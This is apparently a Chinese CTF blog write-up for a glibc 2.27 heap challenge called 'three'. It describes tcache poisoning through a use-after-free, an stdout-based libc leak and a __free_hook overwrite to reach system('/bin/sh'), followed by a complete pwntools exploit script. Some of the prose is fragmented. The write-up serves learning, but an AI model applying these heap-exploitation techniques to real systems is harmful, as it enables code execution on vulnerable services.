fengshui思路很重要…
附件 简洁的一道题..主要考利用…咸鱼的我调了一个晚上加上办个下午没调出来 (后来反证自己走进了死胡同..) 最后改变风水思路…
array
上的指针
```python
➜ three checksec three
[*] ‘/home/n132/Desktop/three/three’
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled用的libc是2.27有tcache
漏洞点是uaf
# 利用
#也不太好讲..主要自己调一遍坑都跳一遍就差不多有点思路了
* 利用uaf控制tcache改写`stdout`#具体为啥在babytecache那篇博客中写过
* 继而改写free_hook为system
* free /bin/sh
fengshui:
```
* 一开始我傻逼的地尝试了控制0x70结尾的地方...做了半天做不出来
* 因为在改写完`stdout`后将会失去一个可以操作的指针...free不掉
* 两个指针要实现tcache atk 就要满足两者存在over lap 才可以改掉size
* 显然0x70不如0x50来的灵活...当时没用0x50是因为0x50的那个指针也是不能free的..
0x50
结尾的地址(目的是方便改size)0x60
的size为0x91
unsortedbin
0x50
的tcache改到0x91
上partial write
指向stdout
stdout
去泄露libc__free_hook
为system
/bin/sh
from pwn import *
def cmd(c):
p.sendlineafter("choice:",str(c))
def add(c="\n"):
cmd(1)
p.sendafter("content:",c)
def edit(idx,data):
cmd(2)
p.sendlineafter("idx:",str(idx))
p.sendafter("content:",data)
def free(idx,mode=0):
cmd(3)
p.sendlineafter("idx:",str(idx))
if (mode==0):
p.sendlineafter("(y/n):",'n')
else:
p.sendlineafter("(y/n):",'y')
p=process("./three",env={'LD_PRELOAD':'./libc.so.6'})
libc=ELF("./libc.so.6")
context.log_level='debug'
#init
for x in range(3):
add(p64(0x21)*8);
free(2,1)
free(1,1)
free(0,1)
#
add()
add()
free(1,1)
free(0)
edit(0,'\x50')
add()
add(p64(0)+p64(0x91))
free(1,1)
for x in range(6):
free(0)
edit(2,p64(0)+p64(0x51))
free(0)
edit(2,p64(0)+p64(0x91))
free(0,1)
edit(2,p64(0)+p64(0x51)+"\x60\x07\xdd")
add()
add(p64(0xfbad1800)+p64(0)*3+'\x00')
p.read(8)
base=u64(p.read(8))-(0x7ffff7dd18b0-0x00007ffff79e4000)
log.warning(hex(base))
libc.address=base
free(0,1)
edit(2,p64(0)+p64(0x41)+p64(libc.symbols['__free_hook']))
add()
free(0,1)
add(p64(libc.symbols['system']))
edit(2,"/bin/sh\x00")
cmd(3)
p.sendlineafter("idx:",'2')
p.sendline("clear")
p.interactive("nier>>>")